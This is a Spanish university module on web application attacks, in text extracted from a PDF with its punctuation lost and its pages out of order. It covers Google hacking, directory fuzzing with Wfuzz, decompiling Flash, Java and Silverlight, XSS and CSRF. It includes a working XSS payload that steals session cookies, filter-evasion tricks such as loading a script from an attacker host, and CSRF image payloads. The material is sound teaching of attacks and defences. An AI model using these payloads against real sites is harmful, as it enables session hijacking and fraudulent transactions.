informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web
En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de
mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript
and XML) pasando a enviar mensajes de manera automaacutetica utilizando para
ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que
reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada
conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios
administrativos lograremos control total sobre la aplicacioacuten
Generalmente seraacute necesaria una buena base de Javascript para explotar de
manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos
deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-
cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-
tivo del mismo
ltscriptgt
d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest()
else
x=new ActiveXObject(MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario
De manera totalmente transparente para el usuario afectado este nos la en-
viaraacute mediante un mensaje Procedamos al anaacutelisis
bull Inicialmente se declara una variable d Esta variable contiene los valores
de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-
cacioacuten cuando mandamos un mensaje Detalle importante a observar es el
contenido de la variable ampmensaje documentcookie un objeto del DOM2
de la paacutegina que contiene todas las cookies asociadas al dominio actual
bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten
de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-
plorer como Firefox o similares Este objeto es el usado para realizar las
peticiones AJAX
bull Con open() establecemos las condiciones que se van a utilizar para enviar el
formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene
(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody
CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web
analizando de nuevo el formulario de enviacuteo Mediante true se indica que
la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se
quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje
bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()
se usan para establecer cabeceras HTTP que hagan que el servidor web
entienda que lo que estamos enviando es un formulario aunque el usuario
no lo haya rellenado
bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d
que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador
realiza las acciones definidas anteriormente y si todo ha salido bien el
usuario afectado nos enviaraacute su cookie de sesioacuten
Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar
un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con
nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido
Figura 4 XSS antes de ser enviado
Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en
el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir
un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo
tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-
ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-
go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute
completamente desapercibido para el usuario admin cuando este inicia sesioacuten
con su navegador y automaacuteticamente se le presenta su bandeja de entrada
El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada
seriacutea
ltdiv class=contenidogt
ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt
d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest ()
CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web
else
x=new ActiveXObject (MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
iexclQue pagina mas chulaltpgtltdivgt
ltdivgt
ltbodygt
Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-
maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de
sesioacuten
Figura 5 Mensaje recibido por el usuario eviluser
Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-
ficar el valor de su cookie con el valor recibido De este modo cuando su nave-
gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al
usuario admin
Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-
car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del
administrador de un sitio web hemos logrado acceder a su cuenta
114 Filtros XSS
En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript
directamente como se ha realizado en el ejemplo anterior Habitualmente los
programadores habraacuten establecido una serie de reglas para intentar evitar los
fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-
ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos
permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-
nales que se presenten
CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web
Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-
trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para
entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-
rar de este modo nuestras posibles implementaciones de filtros antiXSS
bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta
teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-
ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-
rrar una etiqueta HTML como vimos anteriormente y nos encontramos
con que se estaacuten escapando nuestras comillas pueden darse dos situacio-
nes ambas salvables por parte del atacante La etiqueta queda cerrada co-
mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos
seguir introduciendo coacutedigo Javascript
ltinput type=text name=q value= gt
ltscriptgtalert(documentcookie)ltscriptgt
Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-
bir correctamente las comillas Son varios los meacutetodos que se pue-
den usar en estos casos Por ejemplo podemos utilizar la funcioacuten
StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una
cadena
StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)
Tambieacuten es posible establecer referencias a ficheros Javascript externos
donde podremos usar todos los caracteres que deseemos sin preocuparnos
por ninguacuten tipo de filtro
ltscript src=httpwwwatacantecomxssjsgtltscriptgt
bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-
tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero
determinado de caracteres Esta limitacioacuten se puede solventar de nuevo
de dos maneras
ndash Si son varias las variables donde es posible introducir coacutedigo Javascript
podemos usar la suma de los caracteres correspondientes a cada una de
ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-
riacutea mediante los caracteres de comentarios multiliacutenea de Javascript
al inicio y al final
ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un
fichero externo para cargar todo el coacutedigo Javascript necesario Para
reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo
tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom
xssjs queda traducida a httpisgdowYT
CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web
ltscript src=httpisgdowYTgtltscriptgt
bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir
loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-
te podriacutean parecer dos casos distintos al final pueden ser resueltos de la
misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al
ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-
ver cuando se desplaza el cursor por encima OnClick cuando se hace clic
sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro
coacutedigo
ltinput type=text name=buacutesqueda value=
OnFocus=alert(Hola Mundo) gt
bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar
Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor
sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas
para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no
en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en
la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica
ni llegar a conocer todos los entresijos de la misma sino que el atacante
deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-
digo XSS
12 Cross Site Request Forgery (CSRF)
Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas
concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es
el cross site request forgery (CSRF)
El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice
acciones no deseadas en dominios remotos Se basa en la idea de apro-
vechar la persistencia de sesiones entre las pestantildeas de un navegador
Vamos a analizar con un ejemplo hipoteacutetico para entenderla
El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF
Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-
CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web
minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente
En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada
httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes
Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado
Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla
Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML
Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota
Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt
Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt
Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-
do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que
la imagen rota que se genera se le muestre al usuario
El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la
paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros
se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten
Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST
Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo
Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que
existan en la aplicacioacuten
CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web
Sin embargo y aunque establecieacutesemos como requisito indispensable que las
peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de
nuestra paacutegina ni de nuestros clientes
Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las
cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se
utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a
un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten
aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras
paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen
desde nuestro propio dominio
La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie
de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos
pueden ser establecidos como un CAPTCHA que el usuario debe introducir al
realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro
del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la
peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar
los datos de nuestros usuarios
Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos
tomar una serie de precauciones que intenten evitar un ataque mediante esta
teacutecnica Las medidas son
bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten
bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-
na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que
durante el tiempo de uso
bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas
Con esto nos aseguramos la independencia de las cookies de sesioacuten entre
navegadores
13 Clickjacking
Las teacutecnicas de clickjacking son una amenaza reciente para los navega-
dores y sus usuarios Se basan en engantildear a los usuarios para que ha-
gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean
